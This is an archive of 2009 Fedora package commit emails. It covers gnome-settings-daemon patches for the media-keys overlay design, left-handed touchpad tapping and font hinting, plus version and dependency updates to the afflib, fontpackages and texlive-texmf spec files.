>From 26041c5b936263d3f5aa4aa7fc7ffedd128ed444 Mon Sep 17 00:00:00 2001
From: William Jon McCann <jmccann at redhat.com>
Date: Wed, 23 Sep 2009 21:15:45 -0400
Subject: [PATCH 3/3] Improve the media keys overlay design

---
 plugins/media-keys/gsd-media-keys-window.c |   59 +++++++++++++++++++++-------
 1 files changed, 45 insertions(+), 14 deletions(-)

diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
index cffbe3e..c33d624 100644
--- a/plugins/media-keys/gsd-media-keys-window.c
+++ b/plugins/media-keys/gsd-media-keys-window.c
@@ -33,7 +33,7 @@
 #define DIALOG_FADE_TIMEOUT 1500 /* timeout before fade starts */
 #define FADE_TIMEOUT 10        /* timeout in ms between each frame of the fade */
 
-#define BG_ALPHA 0.50
+#define BG_ALPHA 0.75
 #define FG_ALPHA 1.00
 
 static void     gsd_media_keys_window_class_init (GsdMediaKeysWindowClass *klass);
@@ -593,6 +593,36 @@ render_speaker (GsdMediaKeysWindow *window,
 }
 
 static void
+color_reverse (const GdkColor *a,
+               GdkColor       *b)
+{
+        gdouble red;
+        gdouble green;
+        gdouble blue;
+        gdouble h;
+        gdouble s;
+        gdouble v;
+
+        red = (gdouble) a->red / 65535.0;
+        green = (gdouble) a->green / 65535.0;
+        blue = (gdouble) a->blue / 65535.0;
+
+        gtk_rgb_to_hsv (red, green, blue, &h, &s, &v);
+
+        v = 0.5 + (0.5 - v);
+        if (v > 1.0)
+                v = 1.0;
+        else if (v < 0.0)
+                v = 0.0;
+
+        gtk_hsv_to_rgb (h, s, v, &red, &green, &blue);
+
+        b->red = red * 65535.0;
+        b->green = green * 65535.0;
+        b->blue = blue * 65535.0;
+}
+
+static void
 draw_volume_boxes (GsdMediaKeysWindow *window,
                    cairo_t            *cr,
                    double              percentage,
@@ -609,33 +639,34 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
         y0 += 0.5;
         height = round (height) - 1;
         width = round (width) - 1;
-        x1 = round ((width - 1) * percentage);
+        x1 = round ((width - 2) * percentage);
 
         /* bar background */
-        color = GTK_WIDGET (window)->style->dark [GTK_STATE_NORMAL];
+        color_reverse (&GTK_WIDGET (window)->style->dark[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0, y0, width, height);
-        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
-        cairo_fill (cr);
+        rounded_rectangle (cr, 1.0, x0, y0, height / 6, width, height);
+        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA / 2);
+        cairo_fill_preserve (cr);
 
         /* bar border */
-        color = GTK_WIDGET (window)->style->dark [GTK_STATE_SELECTED];
+        color_reverse (&GTK_WIDGET (window)->style->light[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0, y0, width, height);
-        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
+        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA / 2);
         cairo_set_line_width (cr, 1);
         cairo_stroke (cr);
 
         /* bar progress */
-        color = GTK_WIDGET (window)->style->bg [GTK_STATE_SELECTED];
+        if (percentage < 0.01)
+                return;
+        color = GTK_WIDGET (window)->style->bg[GTK_STATE_NORMAL];
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0 + 0.5, y0 + 0.5, x1, height - 1);
+        rounded_rectangle (cr, 1.0, x0 + 0.5, y0 + 0.5, height / 8, x1, height - 2);
         cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
         cairo_fill (cr);
 }
@@ -795,18 +826,18 @@ on_expose_event (GtkWidget          *widget,
 
         /* draw a box */
         rounded_rectangle (cr, 1.0, 0.5, 0.5, height / 10, width-1, height-1);
-        color = GTK_WIDGET (window)->style->bg [GTK_STATE_NORMAL];
+        color_reverse (&GTK_WIDGET (window)->style->bg[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
         cairo_set_source_rgba (cr, r, g, b, BG_ALPHA);
         cairo_fill_preserve (cr);
 
-        color = GTK_WIDGET (window)->style->fg [GTK_STATE_NORMAL];
+        color_reverse (&GTK_WIDGET (window)->style->text_aa[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_set_source_rgba (cr, r, g, b, BG_ALPHA);
+        cairo_set_source_rgba (cr, r, g, b, BG_ALPHA / 2);
         cairo_set_line_width (cr, 1);
         cairo_stroke (cr);
 
-- 
1.6.5.rc2



Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/devel/gnome-settings-daemon.spec,v
retrieving revision 1.127
retrieving revision 1.128
diff -u -p -r1.127 -r1.128
--- gnome-settings-daemon.spec	25 Sep 2009 17:48:56 -0000	1.127
+++ gnome-settings-daemon.spec	27 Oct 2009 22:44:05 -0000	1.128
@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
-Version:	2.28.0
-Release:	3%{?dist}
+Version:	2.28.1
+Release:	4%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -33,8 +33,16 @@ BuildRequires:  fontconfig-devel
 BuildRequires:	libcanberra-devel
 
 # https://bugzilla.gnome.org/show_bug.cgi?id=596136
-Patch0: osd-rounded-rectangle.patch
-Patch1: osd-visual-refresh.patch
+Patch0: 0002-Use-a-rounded-instead-of-curved-rectangle.patch
+Patch1: 0003-Improve-the-media-keys-overlay-design.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=567249
+Patch4: 0001-Fix-bluriness-in-level-bar-and-popup.patch
+
+# https://bugzilla.redhat.com/show_bug.cgi?id=498249
+Patch2: left-handed-touchpad.patch
+
+# change font rendering
+Patch3: slight-hinting.patch
 
 %description
 A daemon to share settings from GNOME to other applications. It also
@@ -53,8 +61,11 @@ developing applications that use %{name}
 
 %prep
 %setup -q
+%patch4 -p1 -b .blurry
 %patch0 -p1 -b .osd-rounded-rectangle
 %patch1 -p1 -b .osd-visual-refresh
+%patch2 -p1 -b .left-handed-touchpad
+%patch3 -p1 -b .slight-hinting
 
 %build
 %configure --enable-static=no --enable-profiling --disable-esd
@@ -166,6 +177,12 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
+- Update from F-12 branch
+
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-4
+- Fix blurriness in the OSD display
+
 * Fri Sep 25 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3
 - Align the OSD visuals with the notification theme
 


--- 0001-Bug-594617-Touchpad-left-handed-bug-fixes.patch DELETED ---


--- 0001-Update-gnome-volume-control-code.patch DELETED ---


--- composited-changed.patch DELETED ---


--- gnome-settings-daemon-2.26.0-support-touchpads.patch DELETED ---


--- locate-pointer-csw.patch DELETED ---


--- locate-pointer-process.patch DELETED ---


--- osd-rounded-rectangle.patch DELETED ---


--- osd-visual-refresh.patch DELETED ---


--- xklavier4.patch DELETED ---



From hadess at fedoraproject.org  Tue Oct 27 22:46:35 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 22:46:35 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/devel left-handed-touchpad.patch, NONE, 
	1.1 slight-hinting.patch, NONE, 1.1
Message-ID: <20091027224635.C684711C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-settings-daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14771

Added Files:
	left-handed-touchpad.patch slight-hinting.patch 
Log Message:
add missing patches

left-handed-touchpad.patch:
 gsd-mouse-manager.c |   28 ++++++++++++++++++----------
 1 file changed, 18 insertions(+), 10 deletions(-)

--- NEW FILE left-handed-touchpad.patch ---
>From ca4c9a0d9c269e51b8f6955277553f61ece9899a Mon Sep 17 00:00:00 2001
From: Peter Hutterer <peter.hutterer at who-t.net>
Date: Mon, 26 Oct 2009 15:24:48 +1000
Subject: [PATCH] mouse: allow left-handed setting for touchpads.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Button mapping is handled in the server, tapping is handled in the driver.
Thus, if the tapping is enabled and the device is left-handed, the tapping
order must be reversed to counter the effect of the left-handed button
mapping.

For right-handed setup:
phys. button 1          ? logical button 1
one-finger tapping      ? phys button 1

For left-handed setup:
phys. button 3          ? logical button 1
one-finger-tapping      ? phys. button 3

Signed-off-by: Peter Hutterer <peter.hutterer at who-t.net>
---
 plugins/mouse/gsd-mouse-manager.c |   27 ++++++++++++++++++---------
 1 files changed, 18 insertions(+), 9 deletions(-)

diff --git a/plugins/mouse/gsd-mouse-manager.c b/plugins/mouse/gsd-mouse-manager.c
index 4c463eb..21acca6 100644
--- a/plugins/mouse/gsd-mouse-manager.c
+++ b/plugins/mouse/gsd-mouse-manager.c
@@ -84,6 +84,7 @@ static void     gsd_mouse_manager_class_init  (GsdMouseManagerClass *klass);
 static void     gsd_mouse_manager_init        (GsdMouseManager      *mouse_manager);
 static void     gsd_mouse_manager_finalize    (GObject             *object);
 static void     set_mouse_settings            (GsdMouseManager      *manager);
+static int      set_tap_to_click              (gboolean state, gboolean left_handed);
 static XDevice* device_is_touchpad            (XDeviceInfo deviceinfo);
 
 G_DEFINE_TYPE (GsdMouseManager, gsd_mouse_manager, G_TYPE_OBJECT)
@@ -289,8 +290,12 @@ set_xinput_devices_left_handed (gboolean left_handed)
                  * around, otherwise a tap would be a right-click */
                 device = device_is_touchpad (device_info[i]);
                 if (device != NULL) {
+                        GConfClient *client = gconf_client_get_default ();
+                        gboolean tap = gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL);
+
+                        if (tap)
+                                set_tap_to_click (tap, left_handed);
                         XCloseDevice (GDK_DISPLAY (), device);
-                        continue;
                 }
 
                 gdk_error_trap_push ();
@@ -540,7 +545,7 @@ set_disable_w_typing (GsdMouseManager *manager, gboolean state)
 }
 
 static int
-set_tap_to_click (gboolean state)
+set_tap_to_click (gboolean state, gboolean left_handed)
 {
         int numdevices, i, format, rc;
         unsigned long nitems, bytes_after;
@@ -567,8 +572,8 @@ set_tap_to_click (gboolean state)
                         if (rc == Success && type == XA_INTEGER && format == 8 && nitems >= 7)
                         {
                                 /* Set RLM mapping for 1/2/3 fingers*/
-                                data[4] = (state) ? 1 : 0;
-                                data[5] = (state) ? 3 : 0;
+                                data[4] = (state) ? ((left_handed) ? 3 : 1) : 0;
+                                data[5] = (state) ? ((left_handed) ? 1 : 3) : 0;
                                 data[6] = (state) ? 2 : 0;
                                 XChangeDeviceProperty (GDK_DISPLAY (), device, prop, XA_INTEGER, 8,
                                                         PropModeReplace, data, nitems);
@@ -812,13 +817,14 @@ static void
 set_mouse_settings (GsdMouseManager *manager)
 {
         GConfClient *client = gconf_client_get_default ();
+        gboolean left_handed = gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL);
 
-        set_left_handed (manager, gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL));
+        set_left_handed (manager, left_handed);
         set_motion_acceleration (manager, gconf_client_get_float (client, KEY_MOTION_ACCELERATION , NULL));
         set_motion_threshold (manager, gconf_client_get_int (client, KEY_MOTION_THRESHOLD, NULL));
 
         set_disable_w_typing (manager, gconf_client_get_bool (client, KEY_TOUCHPAD_DISABLE_W_TYPING, NULL));
-        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL));
+        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL), left_handed);
         set_edge_scroll (gconf_client_get_int (client, KEY_SCROLL_METHOD, NULL));
         set_horiz_scroll (gconf_client_get_bool (client, KEY_PAD_HORIZ_SCROLL, NULL));
 
@@ -847,8 +853,10 @@ mouse_callback (GConfClient        *client,
                 if (entry->value->type == GCONF_VALUE_BOOL)
                         set_disable_w_typing (manager, gconf_value_get_bool (entry->value));
         } else if (! strcmp (entry->key, KEY_TAP_TO_CLICK)) {
-                if (entry->value->type == GCONF_VALUE_BOOL)
-                        set_tap_to_click (gconf_value_get_bool (entry->value));
+                if (entry->value->type == GCONF_VALUE_BOOL) {
+                        set_tap_to_click (gconf_value_get_bool (entry->value),
+                                          gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL));
+                }
         } else if (! strcmp (entry->key, KEY_SCROLL_METHOD)) {
                 if (entry->value->type == GCONF_VALUE_INT) {
                         set_edge_scroll (gconf_value_get_int (entry->value));
@@ -928,7 +936,8 @@ gsd_mouse_manager_idle_cb (GsdMouseManager *manager)
                                 gconf_client_get_bool (client, KEY_DELAY_ENABLE, NULL));
 
         set_disable_w_typing (manager, gconf_client_get_bool (client, KEY_TOUCHPAD_DISABLE_W_TYPING, NULL));
-        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL));
+        set_tap_to_click (gconf_client_get_bool (client, KEY_TAP_TO_CLICK, NULL),
+                          gconf_client_get_bool (client, KEY_LEFT_HANDED, NULL));
         set_edge_scroll (gconf_client_get_int (client, KEY_SCROLL_METHOD, NULL));
         set_horiz_scroll (gconf_client_get_bool (client, KEY_PAD_HORIZ_SCROLL, NULL));
 
-- 
1.6.5.rc2


slight-hinting.patch:
 desktop_gnome_font_rendering.schemas.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE slight-hinting.patch ---
diff -up gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in.slight-hinting gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in
--- gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in.slight-hinting	2009-10-26 17:39:06.045797092 -0400
+++ gnome-settings-daemon-2.28.1/data/desktop_gnome_font_rendering.schemas.in	2009-10-26 17:39:45.649802771 -0400
@@ -35,7 +35,7 @@
 	    <applyto>/desktop/gnome/font_rendering/hinting</applyto>
             <owner>gnome</owner>
 	    <type>string</type>
-            <default>medium</default>
+            <default>slight</default>
             <locale name="C">
 	        <short>Hinting</short>
                 <long>



From kwizart at fedoraproject.org  Tue Oct 27 22:47:10 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue, 27 Oct 2009 22:47:10 +0000 (UTC)
Subject: rpms/afflib/devel afflib.spec, 1.32, 1.33 sources, 1.15,
	1.16 .cvsignore, 1.15, 1.16 afflib-3.4.1-gcc43.patch, 1.1, NONE
Message-ID: <20091027224710.4B9C611C00E6@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/afflib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14892

Modified Files:
	afflib.spec sources .cvsignore 
Removed Files:
	afflib-3.4.1-gcc43.patch 
Log Message:
- Update to 3.5.2
- Remove upstreamed patch




Index: afflib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afflib/devel/afflib.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- afflib.spec	24 Sep 2009 20:54:35 -0000	1.32
+++ afflib.spec	27 Oct 2009 22:47:10 -0000	1.33
@@ -1,7 +1,7 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           afflib
-Version:        3.4.1
+Version:        3.5.2
 Release:        1%{?dist}
 Summary:        Library to support the Advanced Forensic Format
 
@@ -9,7 +9,6 @@ Group:          System Environment/Libra
 License:        BSD with advertising
 URL:            http://www.afflib.org
 Source0:        http://www.afflib.org/downloads/afflib-%{version}.tar.gz
-Patch0:         afflib-3.4.1-gcc43.patch
 Patch1:         afflib-3.4.1-pyver.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -60,7 +59,6 @@ developing applications that use %{name}
 
 %prep
 %setup -q
-%patch0 -p1 -b .gcc43
 %patch1 -p1 -b .pyver
 # prevent internal lzma to be built - testing
 #rm -rf lzma443
@@ -124,6 +122,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 kwizart < kwizart at gmail.com > - 3.5.2-1
+- Update to 3.5.2
+- Remove upstreamed patch
+
 * Thu Sep 24 2009 kwizart < kwizart at gmail.com > - 3.4.1-1
 - Update to 3.4.1
 - Update gcc43 (new case)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afflib/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	24 Sep 2009 20:54:35 -0000	1.15
+++ sources	27 Oct 2009 22:47:10 -0000	1.16
@@ -1 +1 @@
-eb3a44f893cd268f32c91b8eb673ecc7  afflib-3.4.1.tar.gz
+0ce8f3dbacc31da1c3faf5bc3e77c535  afflib-3.5.2.tar.gz


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afflib/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	24 Sep 2009 20:54:35 -0000	1.15
+++ .cvsignore	27 Oct 2009 22:47:10 -0000	1.16
@@ -1 +1 @@
-afflib-3.4.1.tar.gz
+afflib-3.5.2.tar.gz


--- afflib-3.4.1-gcc43.patch DELETED ---



From nim at fedoraproject.org  Tue Oct 27 22:49:33 2009
From: nim at fedoraproject.org (nim)
Date: Tue, 27 Oct 2009 22:49:33 +0000 (UTC)
Subject: rpms/fontpackages/devel .cvsignore, 1.18, 1.19 fontpackages.spec,
	1.24, 1.25 import.log, 1.20, 1.21 sources, 1.18, 1.19
Message-ID: <20091027224933.72F3F11C00E6@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/fontpackages/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16289/devel

Modified Files:
	.cvsignore fontpackages.spec import.log sources 
Log Message:
1.29


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	19 Oct 2009 21:23:31 -0000	1.18
+++ .cvsignore	27 Oct 2009 22:49:32 -0000	1.19
@@ -1 +1 @@
-fontpackages-1.28.tar.xz
+fontpackages-1.29.tar.xz


Index: fontpackages.spec
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/fontpackages.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- fontpackages.spec	19 Oct 2009 21:23:32 -0000	1.24
+++ fontpackages.spec	27 Oct 2009 22:49:32 -0000	1.25
@@ -3,7 +3,7 @@
 %global rpmmacrodir     %{_sysconfdir}/rpm/
 
 Name:    fontpackages
-Version: 1.28
+Version: 1.29
 Release: 1%{?dist}
 Summary: Common directory and macro definitions used by font packages
 
@@ -43,6 +43,15 @@ This package contains spec templates, rp
 create font packages.
 
 
+%package tools
+Summary: Tools used to check fonts and font packages
+
+Requires: fontforge, fontconfig, mutt
+
+%description tools
+This package contains tools used to check fonts and font packages
+
+
 %prep
 %setup -q
 
@@ -88,6 +97,7 @@ rm -fr %{buildroot}
 %files filesystem -f %{name}-%{version}.files
 %defattr(0644,root,root,0755)
 %dir %{_datadir}/fontconfig
+
 %files devel
 %defattr(0644,root,root,0755)
 %doc license.txt readme.txt
@@ -96,10 +106,16 @@ rm -fr %{buildroot}
 %dir %{ftcgtemplatedir}
 %{ftcgtemplatedir}/*conf
 %{ftcgtemplatedir}/*txt
-%attr(0755,root,root) %{_bindir}/*
 
+%files tools
+%defattr(0644,root,root,0755)
+%attr(0755,root,root) %{_bindir}/*
 
 %changelog
+* Tue Oct 27 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.29-1
+? Split out tools as repo-font-audit requirements grow
+
 * Mon Oct 19 2009 Nicolas Mailhot <nim at fedoraproject dot org>
 - 1.28-1
 ? Rework repo-font-audit to also generate individual packager nagmails


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/import.log,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- import.log	19 Oct 2009 21:23:32 -0000	1.20
+++ import.log	27 Oct 2009 22:49:32 -0000	1.21
@@ -18,3 +18,4 @@ fontpackages-1_25-1_fc12:HEAD:fontpackag
 fontpackages-1_26-1_fc12:HEAD:fontpackages-1.26-1.fc12.src.rpm:1254091733
 fontpackages-1_27-1_fc12:HEAD:fontpackages-1.27-1.fc12.src.rpm:1254128698
 fontpackages-1_28-1_fc13:HEAD:fontpackages-1.28-1.fc13.src.rpm:1255987394
+fontpackages-1_29-1_fc13:HEAD:fontpackages-1.29-1.fc13.src.rpm:1256683739


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/devel/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	19 Oct 2009 21:23:32 -0000	1.18
+++ sources	27 Oct 2009 22:49:33 -0000	1.19
@@ -1 +1 @@
-0702fe5a2cc4d16df807003fe0c40ae2  fontpackages-1.28.tar.xz
+481b29bf3e4410848ba2aaf01b25d80e  fontpackages-1.29.tar.xz



From nim at fedoraproject.org  Tue Oct 27 22:50:18 2009
From: nim at fedoraproject.org (nim)
Date: Tue, 27 Oct 2009 22:50:18 +0000 (UTC)
Subject: rpms/fontpackages/F-12 .cvsignore, 1.18, 1.19 fontpackages.spec,
	1.24, 1.25 import.log, 1.20, 1.21 sources, 1.18, 1.19
Message-ID: <20091027225018.429EB11C02BB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/fontpackages/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16534/F-12

Modified Files:
	.cvsignore fontpackages.spec import.log sources 
Log Message:
1.29


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	19 Oct 2009 21:24:56 -0000	1.18
+++ .cvsignore	27 Oct 2009 22:50:17 -0000	1.19
@@ -1 +1 @@
-fontpackages-1.28.tar.xz
+fontpackages-1.29.tar.xz


Index: fontpackages.spec
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/fontpackages.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- fontpackages.spec	19 Oct 2009 21:24:56 -0000	1.24
+++ fontpackages.spec	27 Oct 2009 22:50:18 -0000	1.25
@@ -3,7 +3,7 @@
 %global rpmmacrodir     %{_sysconfdir}/rpm/
 
 Name:    fontpackages
-Version: 1.28
+Version: 1.29
 Release: 1%{?dist}
 Summary: Common directory and macro definitions used by font packages
 
@@ -43,6 +43,15 @@ This package contains spec templates, rp
 create font packages.
 
 
+%package tools
+Summary: Tools used to check fonts and font packages
+
+Requires: fontforge, fontconfig, mutt
+
+%description tools
+This package contains tools used to check fonts and font packages
+
+
 %prep
 %setup -q
 
@@ -88,6 +97,7 @@ rm -fr %{buildroot}
 %files filesystem -f %{name}-%{version}.files
 %defattr(0644,root,root,0755)
 %dir %{_datadir}/fontconfig
+
 %files devel
 %defattr(0644,root,root,0755)
 %doc license.txt readme.txt
@@ -96,10 +106,16 @@ rm -fr %{buildroot}
 %dir %{ftcgtemplatedir}
 %{ftcgtemplatedir}/*conf
 %{ftcgtemplatedir}/*txt
-%attr(0755,root,root) %{_bindir}/*
 
+%files tools
+%defattr(0644,root,root,0755)
+%attr(0755,root,root) %{_bindir}/*
 
 %changelog
+* Tue Oct 27 2009 Nicolas Mailhot <nim at fedoraproject dot org>
+- 1.29-1
+? Split out tools as repo-font-audit requirements grow
+
 * Mon Oct 19 2009 Nicolas Mailhot <nim at fedoraproject dot org>
 - 1.28-1
 ? Rework repo-font-audit to also generate individual packager nagmails


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/import.log,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- import.log	19 Oct 2009 21:24:56 -0000	1.20
+++ import.log	27 Oct 2009 22:50:18 -0000	1.21
@@ -18,3 +18,4 @@ fontpackages-1_25-1_fc12:HEAD:fontpackag
 fontpackages-1_26-1_fc12:HEAD:fontpackages-1.26-1.fc12.src.rpm:1254091733
 fontpackages-1_27-1_fc12:HEAD:fontpackages-1.27-1.fc12.src.rpm:1254128698
 fontpackages-1_28-1_fc13:F-12:fontpackages-1.28-1.fc13.src.rpm:1255987476
+fontpackages-1_29-1_fc13:F-12:fontpackages-1.29-1.fc13.src.rpm:1256683797


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/fontpackages/F-12/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	19 Oct 2009 21:24:56 -0000	1.18
+++ sources	27 Oct 2009 22:50:18 -0000	1.19
@@ -1 +1 @@
-0702fe5a2cc4d16df807003fe0c40ae2  fontpackages-1.28.tar.xz
+481b29bf3e4410848ba2aaf01b25d80e  fontpackages-1.29.tar.xz



From spot at fedoraproject.org  Tue Oct 27 22:50:47 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 22:50:47 +0000 (UTC)
Subject: rpms/texlive-texmf/F-12 texlive-texmf.spec,1.34,1.35
Message-ID: <20091027225047.1960611C02BB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/texlive-texmf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16662/F-12

Modified Files:
	texlive-texmf.spec 
Log Message:
fix 488091, 502202


Index: texlive-texmf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/F-12/texlive-texmf.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- texlive-texmf.spec	21 Oct 2009 17:33:44 -0000	1.34
+++ texlive-texmf.spec	27 Oct 2009 22:50:46 -0000	1.35
@@ -14,7 +14,7 @@
 
 Name:		texlive-texmf
 Version:	2007
-Release:	31%{?dist}
+Release:	32%{?dist}
 Summary:	Architecture independent parts of the TeX formatting system
 
 Group:		Applications/Publishing
@@ -134,6 +134,13 @@ Summary:	Texmf files needed for texlive-
 Requires:	texlive-texmf = %{version}-%{release}
 Requires:	texlive-texmf-errata-latex = %{version}
 Requires:	tex-preview
+Obsoletes:	tetex-bytefield < 1.2a-7
+Provides:	tetex-bytefield = 1.2a-7
+Obsoletes:	tetex-prosper < 1.5-7
+Provides:	tetex-prosper = 1.5-7
+# The copy in this package is rather old (1.6)
+# We'll use the newer one in tetex-perltex, at least for now.
+Requires:	tetex-perltex
 
 %description latex
 This package contains the components of the TEXMF tree needed for the
@@ -341,6 +348,10 @@ rm -f texmf/web2c/{mktex.opt,mktexdir,mk
 # these files owned by binary texlive-dvips package
 rm -rf texmf/dvips/base
 
+# these files owned by tetex-perltex package
+rm -rf texmf-dist/tex/latex/perltex/
+rm -rf texmf-dist/doc/latex/perltex/
+
 # remove ttf2pk stuff from bin-ttfutils
 rm -f texmf/doc/man/man1/ttf2pk.1
 rm -rf texmf/doc/ttf2pk/
@@ -828,6 +839,11 @@ fi
 %doc %{_texmf_main}/doc/
 
 %changelog
+* Mon Oct 26 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2007-32
+- resolve conflict between texlive-texmf (and -doc) and tetex-perltex
+- resolve conflict between texlive-texmf and tetex-prosper
+- resolve conflict between texlive-texmf and tetex-perltex
+
 * Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
 - do not conflict with dvipdfm
 - update perl requires filter



From spot at fedoraproject.org  Tue Oct 27 22:50:47 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 22:50:47 +0000 (UTC)
Subject: rpms/texlive-texmf/devel texlive-texmf.spec,1.35,1.36
Message-ID: <20091027225047.5CAE111C02BB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/texlive-texmf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16662/devel

Modified Files:
	texlive-texmf.spec 
Log Message:
fix 488091, 502202


Index: texlive-texmf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/devel/texlive-texmf.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- texlive-texmf.spec	21 Oct 2009 12:43:26 -0000	1.35
+++ texlive-texmf.spec	27 Oct 2009 22:50:47 -0000	1.36
@@ -14,7 +14,7 @@
 
 Name:		texlive-texmf
 Version:	2007
-Release:	31%{?dist}
+Release:	32%{?dist}
 Summary:	Architecture independent parts of the TeX formatting system
 
 Group:		Applications/Publishing
@@ -134,6 +134,13 @@ Summary:	Texmf files needed for texlive-
 Requires:	texlive-texmf = %{version}-%{release}
 Requires:	texlive-texmf-errata-latex = %{version}
 Requires:	tex-preview
+Obsoletes:	tetex-bytefield < 1.2a-7
+Provides:	tetex-bytefield = 1.2a-7
+Obsoletes:	tetex-prosper < 1.5-7
+Provides:	tetex-prosper = 1.5-7
+# The copy in this package is rather old (1.6)
+# We'll use the newer one in tetex-perltex, at least for now.
+Requires:	tetex-perltex
 
 %description latex
 This package contains the components of the TEXMF tree needed for the
